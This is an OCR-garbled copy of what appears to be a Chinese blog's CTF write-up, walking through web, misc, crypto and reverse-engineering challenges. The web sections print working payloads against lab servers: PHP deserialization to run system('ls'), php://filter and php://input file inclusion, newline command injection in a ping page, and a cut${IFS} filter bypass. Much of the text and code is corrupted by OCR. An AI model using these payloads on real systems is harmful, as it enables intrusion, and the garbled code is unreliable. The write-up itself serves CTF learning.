IFKRK Y CTREEFHSE GBIUF)

A_dmins F 2019-12-29 12:14:48 KA 1074 W 2

pRLH: CTEHE iFEKCTE LLIECTE

FRALE B ASCRE ERAICE, #IE_CC 4.0 BY-SA RN, HEFM BRSO s A S,
ACEERE: https://blog.csdn.net/qq_42967398/article/details/103681548

FERAL

~

115 R 11T
W £

~
C|
i CTE

21 WX E 1T

25 X E 0T
BT

iFKARS CTRFEEFERE (BIUF)

web nani

HABF G LAE L

<html >
{titleWhere{/title>

<a href=". /index. php?file=show. php”></a>< /html >

wnimzHfile, #ar—Auserphp, RIMWELEHEE, BEHT MR, B Hluser.phpfIFEig:


https://blog.csdn.net/qq_42967398
https://blog.csdn.net/qq_42967398/category_8510365.html
https://blog.csdn.net/qq_42967398/category_9069394.html
https://blog.csdn.net/qq_42967398/category_9069378.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_42967398/article/details/103681548
https://blog.csdn.net/qq_42967398/category_8510365.html
https://blog.csdn.net/qq_42967398/category_9069394.html
https://blog.csdn.net/qq_42967398/category_9069378.html

<?php

class convent{

var $warn
function _ destruct(){

eval($this->warn);

1
J

function _ wakeup(){
foreach(get_object vars($this) as $k
$this->%k null;
)i
)i

1
J

$cmd = $ POST[cmd];
unserialize($cmd);

?>

NRRFFI, &R FFIHAT G-

<?php

class convent{

var $warn

function _ destruct(){
eval($this->warn);

)i

function _ wakeup(){
foreach(get_object_vars($this) as $k

$this->%k null;

$a new convent();
echo serialize($a);

?>

it wakeup#iik, payload:

POST Juser.php HTTP/1.1 : HTTP/.1 200 OK

Host: 120.55.43.255:24719 Date: Tue, 24 Dec 2019 05:23:56 GMT
User-Agent: Mozilla/s.0 (Windows NT B.1; Wing4, xB4; nv:65.0) Gecko/20100101 Server: Apache/2.2.15 (CentDs)
Firefox/65.0 ¥-Powered-By: PHP/S.3.3

Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp **;q=0.8 Content-Length: 51

Accept-Language: zh-CN zh;q=0.8 zh-TW;g=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Connection: close

Accept-Encoding: gzip, deflate Content-Type: text/html; charset=UTF-8

Connection: close

Upgrade-Insecure-Requests: 1 dsuhhjfdgjhaskjdkj.txt

Content-Type: application/x-www-form-urlencoded index.php \
Content-Length: 54 show.php

user.php

cmd=0:7: cunvent":?:{s:tl:"warn";s:13:"systen1('ls')"';}|

5 Zlflag:

& C {7 | @ 120.565.45, 255: 24719 /dsuhhif dz jhaskidki. txt

flag {gishinizhizuyaocaidaozhezewenjiandeningzijiuxingle}



MISC Ximg

stegFEE—N 40, BREK, . ,
FIHZsteg T ., 2%

gem install zsteg

B BEIE T AT L8 Blflag:

file:
file: d
UuuuuuuuuuuuuUuUuUuUuUUUUUUUUUUUUUUU U UUuuguuguguguguguguuuguguguguguyuuyd

UuuuuuuuuuUUvuvULUUYUUUUuuyLLLLYYYUUUwWyuyyvvyyYYYUUUJvvvyuVYYUUUUyuyyuuyuyuyyyyuy
uluuuuuuuuuUUUUUULUUULUUUUUUUUUYUULUUUBIUY

" UluuuuduuuuuuluuuyuyuululUUUUUUYUUUUUUUUUUUUUYULY

UuuuuuuuUULUUULUUULULLLYYLULYULLYYLLYYLLW YYYYYYYYYYLYYYYYYYYYYYYYYYUYYYWUYUYYUYUYUULU
vuuuuuuuULUULLUULLUULULYULULYULLYYLLYYLLYYYLVYYYYYVYYLYYYYYYYYYYYYYYYWYYUYYWUYYYUYUYUULUY
uuuuuvyuuvlvLUUUULVYUUUUYUUUUUUYUUULUYLUY

ft E—PMRETRESEXE: BER-FHIEMBEIRKNSIR

RE basebasebase


https://blog.csdn.net/nzjdsds/article/details/86756717

TRTREEEIT, , BEEiEANIda, EFEFRHH:

..... ro— [ e 1
j i 0000045 C BCOEFGHLTEIMHOPRESTUVHYYZ abedefzhi ik mnop qr = tuvwxyz ) | BRE% Bamp ; % (+/=
j rdata: 00+ 0000OO0D C FERHEL3Z. 411

j rdata: 00+ 0000OO0D C NSYCELZ0, 411

j . data: 004+ 000OOOOOE C Give Me Flag:

j . data: 004+ 0000000D [ Succezzfullin

mainf 4 i¥E AR, HEEE]

Eﬁ’ ’

=2

53| —Hbaseb4 KIS, NiF0~9% R T A LI F i
T B BATT AT LAE W — & B 3

mow dword ptr [ebp-84h], @
mov byte ptr [ebp-28h], "Y'
mow byte ptr [ebp-27h], 'n’
mov byte ptr [ebp-26h], "{'
mov byte ptr [ebp-25h], 'k’
mow byte ptr [ebp-24h], "Y'
mov byte ptr [ebp-23h], " '
mow byte ptr [ebp-22h], 'w’
mov byte ptr [ebp-21h], "j'
mow byte ptr [ebp-28h], 'Z°
mov byte ptr [ebp-1Fh], '['
mow byte ptr [ebp-1Eh], "M’
mov byte ptr [ebp-1Dh], "o’
mow byte ptr [ebp-1Ch], "[°
mov byte ptr [ebp-1Bh], 'C’
mow byte ptr [ebp-1Ah], 'Z°
mov byte ptr [ebp-19h], "*'
mow byte ptr [ebp-18h], 'Z°
mov byte ptr [ebp-17h], 'C’
mow byte ptr [ebp-16h], "w’
mov byte ptr [ebp-15h], ‘e’
mow byte ptr [ebp-14h], "V’
mov byte ptr [ebp-13h], 'n’
mow byte ptr [ebp-12h], "U’
mov byte ptr [ebp-11h], 'C’
mow byte ptr [ebp-18h], "Y'
mov byte ptr [ebp-8Fh], '[’
mow byte ptr [ebp-8Eh], "I’
mov byte ptr [ebp-8Dh], "y’
mow byte ptr [ebp-8Ch], 'Y’
mov byte ptr [ebp-8Bh], '[’
mow byte ptr [ebp-8Ah], "*'
mov byte ptr [ebp-2], ")’
mow byte ptr [ebp-8], 3

push offset aGiveMeFlag ; "Give

WUAE H, X8 PSR AT R :

movsX
cmp

edx, byte ptr [ebptecx-28h]
eax, edx

it HHbase MR, BEARAAXS, BrARMFEER#TENL

BEE N

eCx, Byté ptr_[eax]
ecx, 3

edx, [ebp-7Ch]

L e T i | -1

HEHTRUBE T



Chase? C:isllzserssAdministrator~Desktopipython 1.py
ZmxchZitt iYHN1EEY >Y Rt fUnUBRZE J=ZH > =

FIF H B85 fbase64 45 5 il A #4718 Flflag:

Chase?» C:“sers™AdministratorsDesktop?python 1.py
{1>encode {2>decode

Fleaze zelect the coperation you want to perform:
2

Fleaze enter a string that needs to be decrypted:
ZmxhZHt iYRN1EEY )YRLf UnURZE J= K =

Decrypted String:

flag{haze_f4ck ReverseX<

WEB random

ITTT /8 B 18 2R -

<?php
show_source(__FILE_ );
include ;
$a = @$_REQUEST|[
$seed = @$_REQUEST[
$key = @$ REQUEST[

mt_srand($seed);
$true_key = mt_rand();
if ($key $true_key){
echo ;
)i
else{
die(
)i

eval(

MG PATENRT, , , f& Aseedfilkey, )5 AMRBHAT
payload, #{4T:

http://120.55.43.255:27189/?seed=5555&key=941403987&hello=file(%22flag.php%22)

http://120.55.43.255:27189/?seed=5555&key=941403987&hello=);system(%22cat%20./flag.php%22


https://blog.csdn.net/qq_42967398/article/details/101778364

< C O 9 Y% | ©1205543.25527189/2seed=55558key=9414039878&hello=file("flag.php")

e w AN acm=3] FACTFIE EXCTFEERFE EACTRSAYE b= ik

<Fphp
chow_source (_ FILE_ )
include “flaz.php”;
$a = @F_REQUEST[ hello’];
$seed = @F_REQUEST[ seed ];
$key = @F_REQUEST[ key' I

mt_srand($seed)

$trus_key = mt_rand();

if  ($key == $true_key) {
echo  “Eey Confirm™;

}

elsel
die("Key Error”);

eval ( “var_dump($a);”);

2> Key Confirmarray(2) { [0]=> string(7) " string(44) " $flag="flag{YOu Solv3 s4mpl3..oNc3 Mor3}";" |}

crypto rsa


https://www.cnblogs.com/P201521440001/p/11439344.html

import gmpy2 as gp

e 65537

n gp.mpz(44451190737481162133386496843025141985534788208169588890453179536685751741728971621336340813755086640
9163408633679685635315881237914815762134949770798439327373469286675370381115822381092997433491238495970527484356
1271311323458930073680698142868229310479154829475442307419246748803046079024135277946575561740213611137599627423
0696664362964480075920982989343822244747888266357389147338652013801799719536255991873023270971948684733724842512)
1547893862458228964360472119045154255446606447184782930767120924229261090464514045697735201016333117579385787597
2627835438862172202999593644761251673288834181098491393843186924401167467171560258693999900080340028817584529362,
1392430642895544247583431160490590526072360778850433238982434829228640278147405437518492846287024001701258622980
6658850881803134678565293180207556731290044948846308165695896369703720482941116135445836684836990286418102640883
8447061224077017823600722569871971184683916623661059646297868992814848848776407335492033946800060686372517176236
9159875357026047905040706926223658372690515149555080127427715503983984487205038077253740971416468008353911812464
6217833871816488578092001365486400242215564766336041803413006183310354910820598373905617564797817421231716827155
927723376783)

dp gp.mpz(2068808319440109818339862609435246930815052358358310427072319998892669477613153195320703166865240848
1119466919329893607763657623952024909876740067584191851505244658377465365020503008072292716279306615911408934182]
3033574743413297664078529832757904992253228624996649016331909252328021629771352542167078348948167305297599916343
4332203952841388393775239701146677952159076771178677731715916170064531809127852839525257608697983879091720117973
96578193567717887433016694306311572222349220109341636885127899473210074796179961706289230676037655762865962020063
056831019134814970048718940037920888121806608032574204482673114726401)

C gp.mpz(37824591268986281966871625779510825533692888369398426380590870233759116040823497471635629241319078679
4878880742998101926728409825216339197208512929079484687018187263522243781958701468849915372674337274640196043362
4774068906223456865035121515015923979267644429456554238016021001858672391068367048352156862460838121174396859906
3735224619151701064534341728316912310569778274702623104406463995537485487308960476667794272537410821374998205298
5866259433900255218180285975477045323647923881322428349632056484406017564586481848442834247385904402824072352354]
6778238230786468746321951283282999421281165082515648119235643629914666600054385804495581841970066234903034136364
6113743470392556478529933580334122205157013184204212092371918409168962980938082830664970244046076184815468261197
2768099340896995546188526274235118488618951865589050087434162728116205149188555273127955536588551565951618535230
9081299652501512580489349859774937408974207183402685363637631276768991142198287535700409786401211853544318840415
9785191078434704094625175257720142679768491267164147030724979426975597227801310783188554478102938425606958671371]
4201822683071958299038410102821213570933652719191413490563464823296852894960994148922867149263897530215474500564
443133161527)

for x in

if(e*dp%x==1):
p=(e*dp-1)//x+1
if(n%p!=0):

continue

q=n//p
phin=(p-1)*(q-1)
d=gp.invert(e, phin)

m=gp.powmod(c, d, n)
if( ( (m)[2:])%2==1):

continue

print(

print(m)

print(hex(m)[2:])
(

print .fromhex(hex(m)[2:]))




B 3lflag:

WEB admin

AT A&, , BRFENRLEE:

$user $ GET[ 1;
$file $ GET[ 1;
WERS $ GET[ 1;

if(isset($user)&&(file_get contents($user, )
echo ;
include($file);

emmmm, EZE®KT, , ,
Bk

POST
Puser=php: : read=convert.base64-encode/resource=class.php

admin

83 class.phpIEfd:

<?php
error_reporting(E_ALL E_NOTICE);

class Read{
public $file;
public function _ toString(){
if(isset($this->file)){

echo file _get contents($this->file);

1
J

return

HixgWflagM T, » » BRE\EERFIIML, FEEELE RFIIGCK#TT
WEERIBE A %5, E#EiERindexphp, 5 2I5H:



<?php

error_reporting(E_ALL E_NOTICE);
Suser = $ GET[ 1;

$file = $ GET[ 1;

$pass $ GET[ 1;

if(isset($user)&&(file get contents($user,
echo ;
if(preg_match( ,$file)){
exit();
}else{
include($file);
$pass unserialize($pass);

echo $pass;

H#E#iEpayload:

<?php
class Read{
public $file
public function __ toString(){
if(isset($this->file)){
echo file_get_ contents($this->file);
}

return

$a new Read();
echo serialize($a);




5 3flag:

POST

f?user=php:/finput&file=class.phpé&pass=0:4:"Read™ 1 :{s:4: "file"; s:13: "fffffflag. php"; }
HTTR/.1

Host: 120.65.43.255:28119

User-Agent: Mozilla/5.0 (Windows MT 10.0; WinB4; x64; rv:71.0) Gecko/20100101
Firefox71.0

Accept: text/html application/xhtml+xml application/xml;g=0.9 */* q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW,;q=0.7 zh-HI;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 5

admin

MISC pypi

XIER H BBk BRR 5, s

T

HTTR/1.1 200 OK

Date: Thu, 26 Dec 2019 06:42:31 GMT
Server: Apache/2.4.27 (Unix)
¥-Powered-By: PHP/5.6.32
Content-Length: 379

Connection: close

Content-Type: text/html; charset=UTF-8

hello admin!<br=<?php
error_reporting(E_ALL & ~E_NOTICE);
IMagfwoyebuzhidaoyaononggeshaflagheshia)
2> AWWWWWWWWWWW man
<l

Suser=§_GET['user'];

$file = 3_GET["file"];

$pass=§ GET["pass"];

if{isset($usen &&file_get_contents($user, r)==="admi\

echo "hello admini<br=";

include($file); ffclass.php
Jelse{

echo "you are not admin | "

!

-

BHAZIESE, HRERGMEL KB, MHitEgRExKEy2m, ,

ZXIsbEFE, RIWA XL Tbase85HFRF, »

41552ded5d40526a T0423a4d45456d3c AU-m]ERj pB:MEEm<
492e346k3a322a3a 403854254560406d TI.4k:2%: E8T%E Em
606T473853603949 3c5e544a3e2féedk "gGBS 9I <~TJ>/nK
3c23483d55294k42 6872473747594d70 <$H=U)EB hrGTGYMp
40304d59534d314a 524453473d634ced IOMYSM1J ~DSG=cLm
426aba4d4a465f2]l 6a323247255e5f44 BjjMJIF ! j226%" D
6424282b3c2b2fEa 3d465d6BET45306k d$(+<+/j =FlhgEQlk
352723444095b7259 3a3304c2563423434 5'#DI[rY :0L%cB44
623a42332£716447 3dea596342327147 n:B3/qdG =jYcB2gG
6k483d4a61414725 3541644268556ced4 kH=JaAGY SAdBhULA

Bit Planes

Alpha []7 []6 []5 []4 [J3 [J2 []1 [Jo
Red [J7 [J6 05 [J4 O3 2 O1 o
Green []7 []6 []5 []4 []3 [J2 []1 [¥]o

Bue [J7 [J6 [J5 [J4 [J3 J2 1 [0

E&ﬁg%——l:r ’» ?%?'J

eyJhbGciniJITUZIINIIsInR5cCIGTkpXVCI9. eyIzdWI
101 IxMJMONTY 30DkwIiwiaGludCI6GI TRoZSETawduyXR
1cmUncyBNZDUgaXMgwm Twl 3MgUGFzc3dvemQiLCIpyYXQ
T0JEIMTYyMzkwM 19, wwVICsoUEmVkDXWATBEQDRIXp32

x880B1h08UmMTTenxA \

—FT

MXMASTERS " ilh il WA .50F

Order settings

Extract By @ Row () Column

Bit Order (& MSBFirst ) LSB First

Bit Plane Order

W RGR . GRB

AdLUIod vecouaer

* ASCII83 CIPHERTEXT
Al-

m]@RIpBE :MEEm=T . 4k : 2* :@8THE "@m gGBS 9I<AT 1>/ nK<#H=U)KBhrG7 GYM

pIOMYSMIIADSG=cLmE]iMIF_! j22¢¥%A_DdS (+

<+,/7=F 1hgEQ

E*6:7Bhr140

hkVMGE1U#G=2gE 3A, NI

<_5Z"Dck5C<

bk*1=5AFbB1, WX=ES&QGWTZY68<.-3)5fp<+Tr15]

* ALGORITHM USED | Original v
* DISPLAY ASCII VALUES ]

DECRYPT

Crnn nlear Raeabd Cadina _ ASCI Cadas

k5"#DI[rY:0L%cB44n:B3/qde=1YcB2qGkH=]aaGk5AdBhU1d



emmm, RUPUFTWHIFRE, EREE:

ler eyJhbGciOiJIUzI1NilsInR5cCI6IkpXVCJ9.eyJzdWIIOilxN  try an example token | JWT RFC

{
alg: "HS256",
typ: "JWT"

1.

{

sub: "1234567890",
hint: "The Signature's Md5 is Zip's Password"

jat: 1516239022 \
).

[signature]

R, TIRBEE, dRER, BREWHIE

:~/c-jwt-c ker# ./jwtcrack eyJlhbGci0iJIUzI1INiIsInRScCI6IkpXVCI9.eylzd
WIi01iIxMjMBNTY30DkwIiwiaGludCI6I1RoZSBTaWduYXR1lcmUncyBNZDUgaXxMgWmlwl3MgUGFzc3dvc

mQiLCIpYXQi0jEIMTYyMzkwMjJI9 . wvVICsoUEMVkDxWATBgDRIXp3: B1h@8UmTTenxA
Secret is "Zacl"

H#ATMDSINE, BEIEG! 1!
[ ERCEF

7 pypi.txt - ig=A
SOEEF) SRIBE) BR(0) BJBE(Y) BEH)
gameforflag

B # % pypi M1 Zgameforflag:

Navigation Download files

= Project description Download the file for your platform. If you're not sure which to choose, learn more about installing packages .

‘D Release history

Filename, size File type Python version Upload date Hashes

& Download files
gameforflag-0.0.1.tar.gz (1.2 kB) Source None Dec 4, 2019 View

\7-

B pypi. txt = flag. pvid

1 def flag():

2 print "'flag{a70483cZfa®3f%bdS4cd4fcf3ccalb484}"”’

WEB post1



REEEARBEW, , , THARERAER, BRERFEFENG, B2

1| POST[a] TR ATt Eef 7 .
2| <1--

3 eval (system($c) ) ffread flas. txt But no cat!! |
4| >

postfE A—Aa, RJEBHTIERag. x> fE, AT HARE T catbAREER,

POST / HTTR/.1 A HTTP/1.1 200 OK

Host: 120.55.43.285:20133 I Date: Thu, 26 Dec 2019 07:19:39 GMT
UserAgent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; r.71.0) Gecko/20100101 Firefox/71.0 Server: Apache/2.4.27 (Unix)

Accept: text/html application/xhtml+xml application/xml;g=0.9 */* q=0.8 X-FPowered-By: PHP/5.6.32
Accept-Language: zh-CN zh;q=0.8,zh-TW,q=0.7 ,zh-HK;3=0.5 en-US;q=0.3 en;q=0.2 Content-Length: 53

Accept-Encoding: gzip, deflate Connection: close

Connection: close Content-Type: text/html; charset=UTF-8

Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded POST[a] ¢ R AN BLE 305 T . R
Content-Length: 4

a=ls

T IETIE T LS

ot 200 204

15 O O

] 200 O O 244

1 cat 200 O O 244

2 chattr 200 ] ] 244

3 chgrp 200 J [] 244

4 chmaod 200 O O 244

4 chown 200 ] [ 244 -~
6 cksum 200 ] ] 244

7 cmp 200 J [] 244

8 diff 200 O O 244

B8, cutkF TR, LW EHE R AT uE? 2 ?
HEF TR ERlag SN, payload: a=cut${IFS}-c1-33${IFS}flag.txt

POST J/ HTTR/ 1 A HTTR/1.1 200 OK
Host: 120.65.43.255:20133 s Date: Thu, 26 Dec 2019 07:14:42 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:71.0) Gecko/20100101 Firefox71.0 Senver: Apache/2.4.27 (Unix)
Accept: text/html application/xhtml+xml,applicationfxml;g=0.9,** q=0.8 X-Powered-By: PHP/5.6.32
Accept-Language: zh-CM zh;q=0.8, zh-TW;=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0 2 Content-Length: 136
Accept-Encoding: gzip, deflate Connection: close
Connection: close Content-Type: text/html, charset=UTF-8
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencodad POST[a] iR RN G T . flag{WOw_Cut_4Nd_C4t_lo0kS_Sh49e}
Content-Length: 31
<l
a=cut§{IFS}c1-334{IFSiflag.txt eval(system(§c)),//read flag.txt But no catl! !
>

WEB ping

|®

il |




BEATE W] LA 2B F 5D -

There is a pinz. php

2| < -=

3 Fpassword=" ’

4 iflisset(3_POST[ password 1)) {

5 if (stremp (3 _POST[ password’ ], 3password) == 0) |
6 echo “Right!!'login success”;

7 include (3_REQUEST [ path’ 17,

3 exitl)

9 }oelse {

. £ a
0 gecho Wrong password..

-

W

¥ S S B AD -

POST /HTTRAL1

Host: 120.55.43.255:21173

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; nv:71.0) Gecko/20100101
Firefox/71.0

Accept: text/html application/xhtml+xml, application/xml;g=0.9 /" q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,;q=0.7 zh-HK;q=0.5 en-US;q=0 3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 75

password|[|=0&path=php:/filter/read=convert.bazebd-encodefresource=ping.php

83 ping I JEAS :

<?php
if(isset($ _REQUEST[ 'ip' 1)) {
$target = trim($_REQUEST[ 'ip' 1);
$substitutions = array(
&=,

=>

)5

o

HTTR/1.1 200 OK

Date: Fri, 27 Dec 2019 03:52:14 GMT
Server, Apache/2.4.27 (Unix)
¥-Powered-By: PHP/ASB.32
Content-Length: 704

Connection: close

Content-Type: text/html; charset=UTF-8

There is a ping.phpRight!!!login
successPDIwaHANCmImKGIzc2VOKCRIUKVRVUVTVFsgJ2lwJyBdKSkgewOKICAgICROYXJnZX QgPSBOcm
IKCRUKVRVUVTVFsgJ2lw.)yBdKTsNCiAgl CAkc3Vic3Rp dHV0aW9ucyAIIGFycmFSKADKICAgICAgI CAnJi
cglD0+ICenL ADKICAgICAgICANnOycglD0+ICenLADKICAgICAgICANfCcgPT4gJycsDQoglCAgICAgICctlyAgP
TdgJycsDQoglCAgICAgICcklyAgPTdgJycsDQoglCAgICAgICcolyAgP T4 gJycsDQoglCAgICAgICepJyAgPT
4gJycsDQoglCAgICAglCdgyAgPT4glycsDQoglCAglCAgICd8fCcgPT4 gJycsDQoglCAgKTsNCiAgICAkdGF
yZ2\01D0gc3RyX3J1cGxhY2UolGFycmF5X2tle XMolCRzdW.Jzd GI0dXRph25zICksICRz dWJzd GI0dXRph25z
LCAkd GFyZ2\0ICk7 D QoglCAgJGNZCAIIHN oZWxsX2VAZWM ol CdwaW5nl CAtYyADICcgLiAkd GFyZ2V0I1Ck
7DQoglCAgICAgIGVjaG8gJHRhcmdldDsNCiAgICBIY2hvl CAiPHByYZT57.) GNtZHOBL3ByZT4iOwlKfO==

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

-c 4

$cmd = shell exec( 'ping

echo $target;

echo "<pre>{$cmd}</pre>";

. $target );




G Rdws ), 5, BEEFIH%0a58d Bl A

< > C O 9 % | ®12055.43.255:21173/ping.php?ip=127.0.0.1%0Als
RN acm¥3) EXCTFTE EXCTFEITFA EACTFETFS bz =

127.0.0.7 Is

PING 127.0.0.1 (127.0.0.1): 56 data bytes

ffffffllllaagezss, txt
index. php \
ping. php

15 2lflag3ft, 3KfGflag:

< C O 9 % | ®120.55.43.255:21173/ffffff1111aagggg.txt

prg e AN acm=>] EXACTFIE EACTFEA ¥ HACTRE&R¥s = BiE

flag {Tou ARZ giao bi EuN797}

RE apk123

fEHAPKIDAITIF, R4nBHAEHE IR, . ,
RCAME LR :

public woid check(View paramView)
throws NoSuchPaddingException, MoSuchAlgorithmException
i
AlertDialog.Builder localBuilder = new AlertDialog.Builder(this);
String strl = “"Error";
paramView = "Flagifim. [HeEEE
this.flag = this.flagWView.getText().toString();
String str2 = encry RC4 string(this.flag, this.kev);
if (this.FlagEncode.equa
i
strl = "Right";
paramView = "Flagi IETR! 3
H
localBuilder.setTitle(strl);
localBuilder.setMeszage(paramView);
localBuilder.setPositiveButton("#&E", new Dialoglnterface.OnClicklistener()
i
public woid onClick({DialegInterface paramAnonymousDialogInterface, int paramfnonymousInt) {}
s

localBuilder.show();

AURBhCEEIF@RKEAT, RERMMERET-TRET! ! !

public static String decry_RC4(String paramStringl, String paramstring2)

i
if ((paramStringl == null) || (paramString2 == null)) {
return null;
I
return new String(RC4Base(HexString2Bytes(paramStringl), paramString2));
I

FEW SR, REBR—THE, javafiil:



public class Main {
public static String decry RC4(String data, String key) {
if (data null key null) {
return null;
)i
return new String(RC4Base(HexString2Bytes(data), key));

}

private static byte[] initKey(String aKey) {
byte[] b_key aKey.getBytes();
byte state[] new byte[256];

for (int i 0; i 256; i++) {
state[i] (byte) i;

)i

int index1 0;

int index2 0;

if (b_key null b_key.length
return null;

)i

for (int i 0; i 256; i++) {

index2 ((b_key[index1] (state[i] oxff) index2)
byte tmp = state[i];

state[1i] state[index2];
state[index2] tmp;

index1 (index1 1) b_key.length;
}

return state;

}

private static byte[] HexString2Bytes(String src) {
int size = src.length();
byte[] ret = new byte[size / 2];
byte[] tmp = src.getBytes();
for (int i 0; i size 2; i++) {
ret[i] uniteBytes(tmp[i * 2], tmp[i
}

return ret;

}

private static byte uniteBytes(byte src@, byte srcl) {

char _bo (char) Byte.decode( new String(new byte[] { srco })).byteValue();
_be (char) (_be 4);

char b1l (char) Byte.decode( new String(new byte[] { srcl })).byteValue();
byte ret (byte) (_bo ~ bl);

return ret;

private static byte[] RC4Base(byte[] input, String mKkey) {

int x 0;

int y = 0;

byte key[] initKey(mKkey) ;

int xorIndex;

byte[] result new byte[input.length];

for (int i = @; i < input.length; i++) {
X (x 1) oxff;
oxff




byte tmp key[x];

key[x] = key[y];

key[y] = tmp;

xorIndex ((key[x] oxff) (key[y] oxff)) oxff;
result[i] (byte) (input[i] key[xorIndex]);

1
J

return result;
)i

public static void main(String[] args) {

String Str
System.out.println(decry RC4(Str,

)i
5 3flag:

<terminated= Main (1) [Java Application] C\Program File
flag{11111111-1111-1234-1234-aaaabbbbcccc}

WEB post2

E| 5778 N
BB post1 KIVERS &K I -

post2 B #E i HX :

= C @ A== view-source:120.55.43.255:22712/pNHYVAirTGWAIlygv.txt

iz ¥3 @ Ex = dar @ =B

flag {Wow_Cut_4Nd_Cdt_loOkS_S4m3}

AT AR BEST, » 5 »
TR EE, £Mwprl E THXRITEMEE! | 1!
HIYZ=CTFZ /R Fwrite up



http://pumpkin9.top/2019/12/24/%25E7%25AC%25AC%25E5%259B%259B%25E5%25AD%25A3CTF%25E7%25AD%2594%25E9%25A2%2598%25E8%25B5%259Bwrite-up/
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